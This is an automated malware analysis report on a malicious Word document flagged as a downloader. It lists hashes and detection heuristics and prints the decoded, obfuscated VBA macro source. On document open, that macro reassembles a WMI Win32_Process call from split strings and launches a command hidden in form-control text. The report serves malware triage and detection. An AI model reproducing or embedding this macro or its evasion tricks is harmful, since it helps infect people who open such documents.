Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3564b611a66534ea…

MALICIOUS

Office (OLE)

179.0 KB Created: 2019-12-12 13:41:00 Authoring application: Microsoft Office Word First seen: 2021-02-20
MD5: f7f4ddd88e99a03f4afd9303a75a8e1c SHA-1: 0104a93efa3b2205dc388388e8f4d779b9d0cea5 SHA-256: 3564b611a66534eae58e5f69f3571fe45d4db45a2f82886bc433c9d228a99346
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-7448061-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7448061-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    Set Xorfiqlkxxed = CreateObject(Tcoqcohzvycm)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Xorfiqlkxxed = CreateObject(Tcoqcohzvycm)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8787 bytes
SHA-256: 6224f6e44f0607c29f92e3ded3a45283c036abce0ae8176dd31fc8c9989fb4ec
Detection
ClamAV: No threats found
Obfuscation or payload: likely
147 of 220 identifiers look randomly generated (e.g. 'Mbrphbftghjdj') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jmijjjwz"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Cmsodkagln, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Psnacbyoo = Rgvuodzcz To 0
      For Mvjndaabwfub = Zholwhlfadbih To 0
         Xisxvfsroxx = (23 + Round(WOJOkxR3))
      Next
      Mcxeovowkr = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Jgufmvtdkzwbe = uzH To MZDUoaj1
         Hqanytysxgwt = ChrB(dANsZ68a4)
         Next
      For Umqpymzxl = 0 To 0
         Ekbnfvad = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
   For Kxulerbclz = Puctncuztox To 0
      For Qgkfgaojbi = Cenmqazu To 0
         Zxvkgosrvadc = (23 + Round(WOJOkxR3))
      Next
      Qxfznenlqq = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Gndoxwtugnkwt = uzH To MZDUoaj1
         Kmkzapcvtva = ChrB(dANsZ68a4)
         Next
      For Ingeziieoh = 0 To 0
         Itedmigon = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
   For Mvaayvvxtcp = Wmagdsmafqo To 0
      For Jbpcxwaxve = Ecrjmdckv To 0
         Qkwjfogflvm = (23 + Round(WOJOkxR3))
      Next
      Hqetxqaixazq = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Tnluqroysam = uzH To MZDUoaj1
         Oyrlrpxbvy = ChrB(dANsZ68a4)
         Next
      For Eqetkxskxn = 0 To 0
         Awufjyeg = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Swumbowaigdjf
End Sub

Attribute VB_Name = "Sfonhqibzw"
Attribute VB_Base = "0{9B2A4338-B897-444A-A779-B143BA992B4A}{0B3CF45D-5FD6-4949-84A1-381C66AD4230}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tebeqsmzwihuh"
Function Trtzyboghqnv()
   For Bxogtrqcts = Alimqjauxwg To 0
      For Liyszzwmf = Htagilcws To 0
         Rnputrxleqb = (23 + Round(WOJOkxR3))
      Next
      Jrkuscfvh = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Witmlukuk = uzH To MZDUoaj1
         Kcffeotyqgs = ChrB(dANsZ68a4)
         Next
      For Qbidqptkmkxlx = 0 To 0
         Kghqltghomxqb = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Tmtfgqwh = Jmijjjwz.Cmsodkagln
   For Wgzpadmybl = Cnrnhbzgi To 0
      For Wjllttkzdeodw = Mmfsjkax To 0
         Wlylejcegcgp = (23 + Round(WOJOkxR3))
      Next
      Eqlgcojvfdpm = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Hpwmrsxhlny = uzH To MZDUoaj1
         Ypfxxunnsy = ChrB(dANsZ68a4)
         Next
      For Fiafvwsimwqg = 0 To 0
         Zuwfxhhdkfags = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Knkdvjkxc = Tmtfgqwh + Sfonhqibzw.Ugpgpbkc + Sfonhqibzw.Xhxonjbodqlbv + Sfonhqibzw.Ryxzseahphsba
   For Ultxoocklbbyg = Ybbvwntudqn To 0
      For Eesypcuel = Nvqbeppomfbnd To 0
         Mbrphbftghjdj = (23 + Round(WOJOkxR3))
      Next
      Knodibwrpnb = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Dcqoypqsmvfw = uzH To MZDUoaj1
         Jtvmfkvu = ChrB(dANsZ68a4)
         Next
      For Arypjcbfckqdq = 0 To 0
         Uoyxrjgaz = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Nceizhcj = Knkdvjkxc + Sfonhqibzw.Gwfpippqq + Sfonhqibzw.Hwekonmzcqemd.ControlTipText
   For Jijyehojw = Fyxhvxunhkq To 0
      For Ethplpqakc = Ctymaibhnorh To 0
         Tjfcysryu = (23 + Round(WOJOkxR3))
      Next
      Zygzovvp = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Ewagbpjypbzj = uzH To MZDUoaj1
         Hvhepceynmbku = ChrB(dANsZ68a4)
         Next
      For Svrrppnevwdia = 0 To 0
         Apvkrsoral = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Trtzyboghqnv = Oghweyfyl + Nceizhcj + Oghweyfyl
   For Uohhudctbpsxz = Dzyiocbkvfgdg To 0
      For Dgafhfvcppq = Xtzqkzycovw To 0
         Dlbnavkolmxu = (23 + Round(WOJOkxR3))
      Next
      Hwjsyumncgq = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Kkokdhocj = uzH To MZDUoaj1
         Ovxalhcw = ChrB(dANsZ68a4)
         Next
      For Qgfcydgqjv = 0 To 0
         Nzexbumuo = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
End Function
Function Swumbowaigdjf()
   For Bqsuuznsbus = Waajezzwshldj To 0
      For Fkadlbagc = Obciokfvokioi To 0
         Rjjgqlvfnq = (23 + Round(WOJOkxR3))
      Next
      Kuvtyfilytk = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Xnpxxwre = uzH To MZDUoaj1
         Rxvmksvpru = ChrB(dANsZ68a4)
         Next
      For Asqkiannxyrf = 0 To 0
         Gipucklkewctx = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Tcoqcohzvycm = "wi" + "nmgmt" + "s:" + "Win3" + "2_" + Jmijjjwz.Cmsodkagln + "r" + "oc" + "ess" + I
   For Jscdworowpl = Znaoziwy To 0
      For Zdtzidcie = Ifgjhjxge To 0
         Zpbpcywh = (23 + Round(WOJOkxR3))
      Next
      Jmcacpikthgo = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Iufsyyrvczde = uzH To MZDUoaj1
         Bemwnnysdieu = ChrB(dANsZ68a4)
         Next
      For Kvtlsjhitdjma = 0 To 0
         Cwyrpiovja = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Set Xorfiqlkxxed = CreateObject(Tcoqcohzvycm)
   For Onmmjjcnfdqx = Zxlehnpsmypzd To 0
      For Qaokwrju = Lzbofjjugek To 0
         Okdvanxkfrlpd = (23 + Round(WOJOkxR3))
      Next
      Rfqcwrvnoeh = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Fwgrjeazt = uzH To MZDUoaj1
         Hrdghpych = ChrB(dANsZ68a4)
         Next
      For Anikeswo = 0 To 0
         Yqeilufzbnxj = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Jphbvyvkrq = Tcoqcohzvycm + Sfonhqibzw.Jacvjxbrbumto.ControlTipText + Sfonhqibzw.Tkwjxcncrrwa.ControlTipText
   For Clxnmlbdcl = Ymodgheqprq To 0
      For Kuuitift = Rfisctofsfbum To 0
         Pczsvkuyjcq = (23 + Round(WOJOkxR3))
      Next
      Jdbtxnwyxpbx = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Yscpiqrdff = uzH To MZDUoaj1
         Oxgypmmuw = ChrB(dANsZ68a4)
         Next
      For Hxzgrrmx = 0 To 0
         Ywghmircfxws = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Luwrpdeedtxj = Jphbvyvkrq + Jmijjjwz.Cmsodkagln
   For Hnhfjfmoxntcy = Glpxtyixl To 0
      For Qgcyxprjb = Cngdbbcmdp To 0
         Uirbczypvyco = (23 + Round(WOJOkxR3))
      Next
      Yqekopwujb = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Whvzdsymhqg = uzH To MZDUoaj1
         Kdvpdlrwpdm = ChrB(dANsZ68a4)
         Next
      For Acxazpllcruw = 0 To 0
         Queijqvdla = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Set Swumbowaigdjf = CreateObject(Luwrpdeedtxj)
   For Ifwpdkeecqwix = Aaefgxzqmj To 0
      For Whiblyygtvgfv = Qnweyjeklt To 0
         Aipjfhlhw = (23 + Round(WOJOkxR3))
      Next
      Lkzcteuzkmo = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Pfxpsxxi = uzH To MZDUoaj1
         Yxdmbxjmnxzl = ChrB(dANsZ68a4)
         Next
      For Gkgrtyulamtzk = 0 To 0
         Zwfirafprtb = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Swumbowaigdjf.XSize = False
   For Nazpejcx = Uwpgdhswdy To 0
      For Mfuhjtxq = Pvdopmibidbqn To 0
         Atalffkpjo = (23 + Round(WOJOkxR3))
      Next
      Xziarxwgucpr = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Cpkbvrevjax = uzH To MZDUoaj1
         Sfguavrlb = ChrB(dANsZ68a4)
         Next
      For Ksrjrxei = 0 To 0
         Duehscqbqidm = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Swumbowaigdjf.YSize = False
   For Sqelhflkxztt = Idungqxnp To 0
      For Hhmgdbhgbomji = Vienrgextdez To 0
         Xfbtmayzetx = (23 + Round(WOJOkxR3))
      Next
      Qtwumgnvpic = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Cjsczcfrdjlq = uzH To MZDUoaj1
         Uvdlpftnd = ChrB(dANsZ68a4)
         Next
      For Ssntixyaux = 0 To 0
         Buugvnkkd = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Do While Xorfiqlkxxed.Create(Null & Trtzyboghqnv, Xihomhlcufq, Swumbowaigdjf)
Loop
   For Tekkbgto = Fhgnuvxvttd To 0
      For Vqrwnxkkm = Qbgezhutvr To 0
         Yjrffjieyyw = (23 + Round(WOJOkxR3))
      Next
      Kkgrhdstxxso = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Lzjyqlbsmvrfb = uzH To MZDUoaj1
         Lrfqlpxncn = ChrB(dANsZ68a4)
         Next
      For Wblyqmmwfoz = 0 To 0
         Srxlzccok = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
End Function

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